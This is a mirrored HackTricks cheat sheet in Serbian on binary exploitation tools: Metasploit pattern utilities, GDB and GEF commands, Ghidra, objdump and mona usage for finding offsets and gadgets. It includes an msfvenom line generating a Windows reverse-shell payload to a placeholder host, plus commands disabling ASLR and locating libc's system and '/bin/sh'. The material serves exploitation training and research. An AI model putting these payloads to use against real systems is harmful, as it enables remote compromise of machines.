mirror of
https://github.com/carlospolop/hacktricks
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234 lines
10 KiB
Markdown
234 lines
10 KiB
Markdown
# Alati za iskorišćavanje
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<details>
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<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Drugi načini podrške HackTricks-u:
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* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
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* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
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* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
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</details>
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## Metasploit
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```
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pattern_create.rb -l 3000 #Length
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pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
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nasm_shell.rb
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nasm> jmp esp #Get opcodes
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msfelfscan -j esi /opt/fusion/bin/level01
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```
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### Shellkodovi
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```
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msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
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```
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## GDB
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### Instalacija
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```
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apt-get install gdb
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```
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### Parametri
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```bash
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-q # No show banner
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-x <file> # Auto-execute GDB instructions from here
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-p <pid> # Attach to process
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```
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### Uputstva
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```bash
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run # Execute
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start # Start and break in main
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n/next/ni # Execute next instruction (no inside)
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s/step/si # Execute next instruction
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c/continue # Continue until next breakpoint
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p system # Find the address of the system function
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set $eip = 0x12345678 # Change value of $eip
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help # Get help
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quit # exit
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# Disassemble
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disassemble main # Disassemble the function called main
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disassemble 0x12345678 # Disassemble taht address
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set disassembly-flavor intel # Use intel syntax
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set follow-fork-mode child/parent # Follow child/parent process
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# Breakpoints
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br func # Add breakpoint to function
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br *func+23
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br *0x12345678
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del <NUM> # Delete that number of breakpoint
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watch EXPRESSION # Break if the value changes
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# info
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info functions --> Info abount functions
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info functions func --> Info of the funtion
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info registers --> Value of the registers
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bt # Backtrace Stack
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bt full # Detailed stack
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print variable
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print 0x87654321 - 0x12345678 # Caculate
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# x/examine
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examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
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x/o 0xDir_hex
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x/2x $eip # 2Words from EIP
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x/2x $eip -4 # $eip - 4
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x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
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i r eip # Value of $eip
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x/w pointer # Value of the pointer
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x/s pointer # String pointed by the pointer
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x/xw &pointer # Address where the pointer is located
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x/i $eip # Instructions of the EIP
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```
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### [GEF](https://github.com/hugsy/gef)
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```bash
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help memory # Get help on memory command
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canary # Search for canary value in memory
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checksec #Check protections
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p system #Find system function address
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search-pattern "/bin/sh" #Search in the process memory
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vmmap #Get memory mappings
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xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
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memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
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got #Check got table
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memory watch $_got()+0x18 5 #Watch a part of the got table
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# Vulns detection
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format-string-helper #Detect insecure format strings
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heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
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#Patterns
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pattern create 200 #Generate length 200 pattern
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pattern search "avaaawaa" #Search for the offset of that substring
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pattern search $rsp #Search the offset given the content of $rsp
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#Shellcode
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shellcode search x86 #Search shellcodes
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shellcode get 61 #Download shellcode number 61
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#Another way to get the offset of to the RIP
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1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
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2- ef➤ i f
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Stack level 0, frame at 0x7fffffffddd0:
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rip = 0x400cd3; saved rip = 0x6261617762616176
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called by frame at 0x7fffffffddd8
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Arglist at 0x7fffffffdcf8, args:
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Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
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Saved registers:
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rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
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gef➤ pattern search 0x6261617762616176
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[+] Searching for '0x6261617762616176'
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[+] Found at offset 184 (little-endian search) likely
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```
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### Trikovi
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#### GDB iste adrese
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Prilikom debagovanja, GDB će imati **nešto drugačije adrese od onih koje koristi binarni fajl prilikom izvršavanja.** Možete postaviti da GDB ima iste adrese tako što ćete uraditi sledeće:
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* `unset env LINES`
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* `unset env COLUMNS`
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* `set env _=<putanja>` _Stavite apsolutnu putanju do binarnog fajla_
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* Iskoristite binarni fajl koristeći istu apsolutnu putanju
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* `PWD` i `OLDPWD` moraju biti isti prilikom korišćenja GDB-a i prilikom iskorišćavanja binarnog fajla
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#### Backtrace za pronalaženje pozvanih funkcija
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Kada imate **statički povezan binarni fajl**, sve funkcije će pripadati binarnom fajlu (a ne spoljnim bibliotekama). U ovom slučaju će biti teško **identifikovati tok koji binarni fajl prati kako bi na primer zatražio korisnički unos**.\
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Ovaj tok možete lako identifikovati **pokretanjem** binarnog fajla sa **gdb** sve dok vas ne zatraže unos. Zatim ga zaustavite sa **CTRL+C** i koristite komandu **`bt`** (**backtrace**) da vidite pozvane funkcije:
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```
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gef➤ bt
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#0 0x00000000004498ae in ?? ()
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#1 0x0000000000400b90 in ?? ()
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#2 0x0000000000400c1d in ?? ()
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#3 0x00000000004011a9 in ?? ()
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#4 0x0000000000400a5a in ?? ()
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```
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### GDB server
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`gdbserver --multi 0.0.0.0:23947` (u IDA morate popuniti apsolutnu putanju izvršnog fajla na Linux mašini i na Windows mašini)
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## Ghidra
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### Pronalaženje offseta steka
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**Ghidra** je veoma koristan za pronalaženje **offseta** za **preplavljivanje bafera zahvaljujući informacijama o poziciji lokalnih promenljivih.**\
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Na primer, u primeru ispod, preplavljivanje bafera u `local_bc` ukazuje da je potreban offset od `0xbc`. Osim toga, ako je `local_10` kolačić kanarina, to ukazuje da je potreban offset od `0xac` da bi se prepisao iz `local_bc`.\
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_Zapamtite da prvih 0x08 gde je RIP sačuvan pripada RBP._
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.png>)
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## GCC
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**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompajliranje bez zaštite\
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**-o** --> Izlaz\
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**-g** --> Sačuvaj kod (GDB će moći da ga vidi)\
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**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Deaktiviranje ASLR u Linuxu
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**Za kompajliranje shell koda:**\
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**nasm -f elf assembly.asm** --> vraća ".o"\
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**ld assembly.o -o shellcodeout** --> Izvršno
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## Objdump
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**-d** --> **Razmontiraj izvršne** sekcije (vidi op-kodove kompajliranog shell koda, pronađi ROP Gadžete, pronađi adresu funkcije...)\
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**-Mintel** --> **Intel** sintaksa\
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**-t** --> **Tabela simbola**\
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**-D** --> **Razmontiraj sve** (adresa statičke promenljive)\
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**-s -j .dtors** --> dtors sekcija\
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**-s -j .got** --> got sekcija\
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\-D -s -j .plt --> **plt** sekcija **dekompilirana**\
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**-TR** --> **Relokacije**\
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**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresa "puts" za modifikaciju u GOT\
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**objdump -D ./exec | grep "VAR\_NAME"** --> Adresa statičke promenljive (one su smeštene u DATA sekciji).
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## Core dumps
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1. Pokrenite `ulimit -c unlimited` pre pokretanja mog programa
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2. Pokrenite `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
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3. sudo gdb --core=\<putanja/core> --quiet
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## Više
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**ldd executable | grep libc.so.6** --> Adresa (ako je ASLR, onda se menja svaki put)\
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**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Petlja za proveru da li se adresa često menja\
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**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset "system"\
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**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset "/bin/sh"
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**strace executable** --> Funkcije pozvane od strane izvršnog fajla\
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**rabin2 -i ejecutable -->** Adresa svih funkcija
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## **Inmunity debugger**
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```bash
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!mona modules #Get protections, look for all false except last one (Dll of SO)
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!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
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```
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## IDA
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### Debagovanje na udaljenom Linuxu
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Unutar IDA foldera možete pronaći binarne datoteke koje se mogu koristiti za debagovanje binarne datoteke unutar Linuxa. Da biste to uradili, premestite binarnu datoteku _linux\_server_ ili _linux\_server64_ unutar Linux servera i pokrenite je unutar foldera koji sadrži binarnu datoteku:
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```
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./linux_server64 -Ppass
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```
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Zatim, konfigurišite debager: Debager (udaljeni Linux) --> Opcije procesa...:
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.png>)
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<details>
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<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Drugi načini podrške HackTricks-u:
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* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
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* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
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* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
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* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
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</details>
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